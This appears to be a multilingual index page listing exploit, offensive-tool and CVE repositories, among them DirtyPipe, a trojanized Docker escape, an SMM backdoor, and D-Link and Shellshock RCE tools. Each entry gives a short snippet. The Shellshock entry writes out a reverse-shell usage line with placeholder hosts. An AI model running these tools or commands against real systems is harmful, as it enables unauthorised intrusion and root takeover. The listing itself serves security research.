CVE-2024-33775

CVE تم اكتشافها بواسطة: K. Wahab NeoX تفاصيل الثغرة: المنتج: Nagios XI Version 2024R1.01 الثغرة: تصعيد الامتيازات من المستخدمين "NAGIOS" أو "APACHE" النتيجة: وصول كامل بصلاحيات الجذر root على النظام المستهدف CVE: https://vulners.com/cve/CVE-2024-33775 الاستغلال: يُستخدم RSS Dashlet في هذا المثال...

avml

AVML Acquire Volatile Memory for Linux Summary A portable volatile memory acquisition tool for Linux. AVML is an X8664 userland volatile memory acquisition tool written in Rust, intended to be deployed as a static binary. AVML can be used to acquire memory without knowing the target OS distributi...

CVE-2022-0847-DirtyPipe-Exploit

CVE-2022-0847-DirtyPipe مقدمة الثغرة في 7 مارس، نشر الباحث الأمني الأجنبي ماكس كيلرمان مدونة كشف فيها عن ثغرة رفع صلاحيات محلية موجودة في نواة لينكس CVE-2022-0847: https://dirtypipe.cm4all.com/ CVE-2022-0847 هي ثغرة رفع صلاحيات محلية موجودة في نواة لينكس 5.8 والإصدارات الأحدث. باستغلال هذه الثغرة...

slipstream

NAT Slipstreaming NAT Slipstreaming allows an attacker to remotely access any TCP/UDP service bound to any system behind a victim's NAT, bypassing the victim's NAT/firewall remote arbitrary firewall pinhole control, just by the victim visiting a website. v1 developed by : @SamyKamkar //...

tcp-zerocopy-sm

Investigation is closed. Working fork: https://github.com/soumarcelino/Root-My-Galaxy-SM-S918B Read this - https://github.com/BuSung-dev/Root-My-Galaxy-Payloads/issues/160issuecomment-5227077583 Attempts to cause rights elevation w GhostLock via TCP Zerocopy. Designed expecially for 5.15. samsung...

harbian-audit

harbian-audit Hardening Introduction Hardened Debian GNU/Linux and CentOS 8 distro auditing. The main test environment is in debian GNU/Linux 9/10/11/12/13 and CentOS 8 and ubuntu 22, and other versions are not fully tested. There are no implementations of desktop related items in this release. T...

proxmark3

مهمل فرع Iceman تم إهمال هذا الفرع، استخدم مستودع RRG/ICEMAN بدلاً من ذلك! المرجع: Proxmark3 RDV4.0 github repository مستودع RRG/Iceman مبني على هذا المستودع. تم وضع الكثير من التطوير في مستودع RRG لدعم جميع ميزات الأجهزة الجديدة. يدعم المستودع جميعها بالكامل؛ مثل الذاكرة الوميضية flashmemory،...

SmmBackdoor

الباب الخلفي SMM للمنصات المبنية على UEFI !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! هذا مشروع قديم ومهجور، للنسخة الحالية من الباب الخلفي راجع صفحة مشروع SMM Backdoor Next Gen ووثائقه: https://github.com/Cr4sh/SmmBackdoorNg...

dlink_shell_poc

dlinkshellpoc PoC لشل Dlink تم الاختبار على D-Link 815 الإصدار A 1.3 يعمل مع: DIR-110 DIR-412 DIR-600 DIR-610 DIR-615 DIR-645 https://vuldb.com/?id.7843 DIR-815 ملاحظة: كود PoC لا يتعامل مع الكابتشا. مثال root@kitploit: root@kali: ./dlinkshellpoc.py -h usage: dlinkshellpoc.py -h -p PASSWORD -u UR...

DEBIAN-CVE-2026-80886

In the Linux kernel, the following vulnerability has been resolved: serial: msm: Disable DMA for kernel console UART At the moment, concurrent writes from userspace and the kernel to the console can trigger a race condition that results in an infinite loop of the same messages printed over and ov...

CVE-2026-80886

In the Linux kernel, the following vulnerability has been resolved: serial: msm: Disable DMA for kernel console UART At the moment, concurrent writes from userspace and the kernel to the console can trigger a race condition that results in an infinite loop of the same messages printed over and ov...

zyxel-p870hn-hardware-hacking

От голой печатной платы до root: аппаратный взлом ZyXEL P-870HN через UART Две фотографии немаркированной платы роутера с телефона → последовательная консоль → обход аутентификации → root-оболочка — воспроизведение реальной, до сих пор не пропатченной цепочки CVE-2025-0890 скрытая учётная запись...

CVE-2026-41567

CVE-2026-41567 1day Un 1-day para la fuga de Docker CVE-2026-41567. Es una demostración de fuga de Docker usando xz / unpigz troyanizados. Se puede modificar fácilmente para usarse de forma remota es decir, solo tienes que cambiar la IP predeterminada de docker por una C2 remota. Más información...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock रिमोट कमांड इंजेक्शन टूल त्वरित रिवर्स शेल और फ़ाइल ब्राउज़िंग के लिए root@kitploit: Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234...

Exihibitor-RCE

Exhibitor-RCE واجهة ويب إكزيبيتور 1.7.1 تنفيذ تعليمات برمجية عن بعد، CVE-2019-5029 الخطوة 1: $ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/ الخطوة 2: $ cd Exihibitor-RCE/ الخطوة 3 اختياري: قد تحتاج إلى تعديل حمولة بيانات json في السكريبت. للقيام بذلك، ببساطة التقط الطلب باستخدام...

pth-toolkit

pth-toolkit نسخة معدّلة من مجموعة أدوات تمرير الهاش passing-the-hash https://code.google.com/p/passing-the-hash/ مصمّمة لتكون محمولة وتعمل مباشرةً دون أي إعدادات مسبقة حتى على أكثر الأنظمة بدائيةً bare bones فرع master مُصرَّف لبنية amd64، والهدف النهائي هو تجميع هذه الأدوات بشكل متقاطع cross...

VertXploit

VertXploit استغلال أنظمة التحكم في الدخول HID VertX و EDGE الملخص VertXploit هي أداة يمكن استخدامها لاستغلال أنظمة التحكم في الدخول HID VertX و EDGE. توجد ثغرة داخل خدمة discoveryd، التي تفشل في تعقيم بيانات المستخدم قبل تنفيذ استدعاءات النظام. وهذا يسمح بتنفيذ تعليمات برمجية عشوائية على أنظمة...

signalops

Signal OPS منصة اندماج استخبارات الإشارات SIGINT متكاملة المصادر لأبحاث وتدريب الأمن السيبراني. تسحب Signal OPS عشرات المصادر المفتوحة — قواعد بيانات WiFi/Bluetooth/أبراج الخلايا، ماسحات التعرض للإنترنت، فهارس الكاميرات، خلاصات طيران ADS-B، تتبع الأقمار الصناعية TLE، وشبكات SDR/APRS — في خريطة...

CVE-2026-80886 serial: msm: Disable DMA for kernel console UART

In the Linux kernel, the following vulnerability has been resolved: serial: msm: Disable DMA for kernel console UART At the moment, concurrent writes from userspace and the kernel to the console can trigger a race condition that results in an infinite loop of the same messages printed over and ov...

CVE-2026-80886

In the Linux kernel, the following vulnerability has been resolved: serial: msm: Disable DMA for kernel console UART At the moment, concurrent writes from userspace and the kernel to the console can trigger a race condition that results in an infinite loop of the same messages printed over and ov...